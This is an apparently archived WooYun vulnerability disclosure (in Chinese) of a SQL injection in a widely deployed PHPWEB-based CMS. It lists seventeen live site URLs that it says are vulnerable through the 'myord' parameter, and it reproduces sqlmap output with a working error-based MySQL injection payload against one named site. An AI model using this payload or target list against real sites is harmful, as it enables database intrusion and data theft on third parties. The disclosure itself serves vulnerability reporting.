当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079728

漏洞标题:某建站系统通用SQL注射漏洞

相关厂商:互维网络

漏洞作者: 老和尚

提交时间:2014-10-17 12:35

修复时间:2015-01-15 12:36

公开时间:2015-01-15 12:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-17: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

123

详细说明:

#1.互维网络(http://www.s88c.com/)二次开发的PHPWEB CMS程序用于多数网站,并且存在同一注入漏洞
他是二次开发 PHPwebCMS系统。没有严格的过滤导致SQL注射。
看下这么多案例。
http://www.yndht.com/news/class/index.php?myord=1
http://www.kmxkgc.com/news/class/index.php?myord=1
http://www.kmynf.com/news/class/index.php?myord=1
http://www.kefuan.com/news/class/index.php?myord=1
http://kmzhiyang.com/news/class/index.php?myord=1
http://www.yndimai.com/news/class/index.php?myord=1
http://www.ynyuntong.com/news/class/index.php?myord=1
http://www.123shuxue.com/news/class/index.php?myord=1
http://www.ynchengtai.com/news/class/index.php?myord=1
http://www.nvshendong.com/news/class/index.php?myord=1
http://kmdbjd.com/news/class/index.php?myord=1
http://昆明公司注册.com/news/class/index.php?myord=1
http://www.kmjunding.com/news/class/index.php?myord=1
http://wkrhy.com/news/class/index.php?myord=1
http://www.ynbkhb.com/news/class/index.php?myord=1
http://www.ynquanlan.com/news/class/index.php?myord=1
http://qjkld.com/news/class/index.php?myord=1

漏洞证明:

测试下每个连接,我们看图如下。

GET parameter 'myord' is vulnerable. Do you want to keep testing the others (ifany)? [y/N] Nsqlmap identified the following injection points with a total of 72 HTTP(s) requests:---Place: GETParameter: myord    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause    Payload: myord=1 AND (SELECT 5498 FROM(SELECT COUNT(*),CONCAT(0x7177777671,(SELECT (CASE WHEN (5498=5498) THEN 1 ELSE 0 END)),0x716f6a7771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)---[21:31:55] [INFO] the back-end DBMS is MySQLweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17back-end DBMS: MySQL 5.0[21:31:55] [INFO] fetched data logged to text files under 'C:\Documents and Settings\Administrator\.sqlmap\output\qjkld.com'


有WAF。

QQ图片20141017122640.jpg


QQ图片20141017122704.png


都是存在注入的。我也深入测试了。

修复方案:

过滤参数、

版权声明:转载请注明来源 老和尚@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝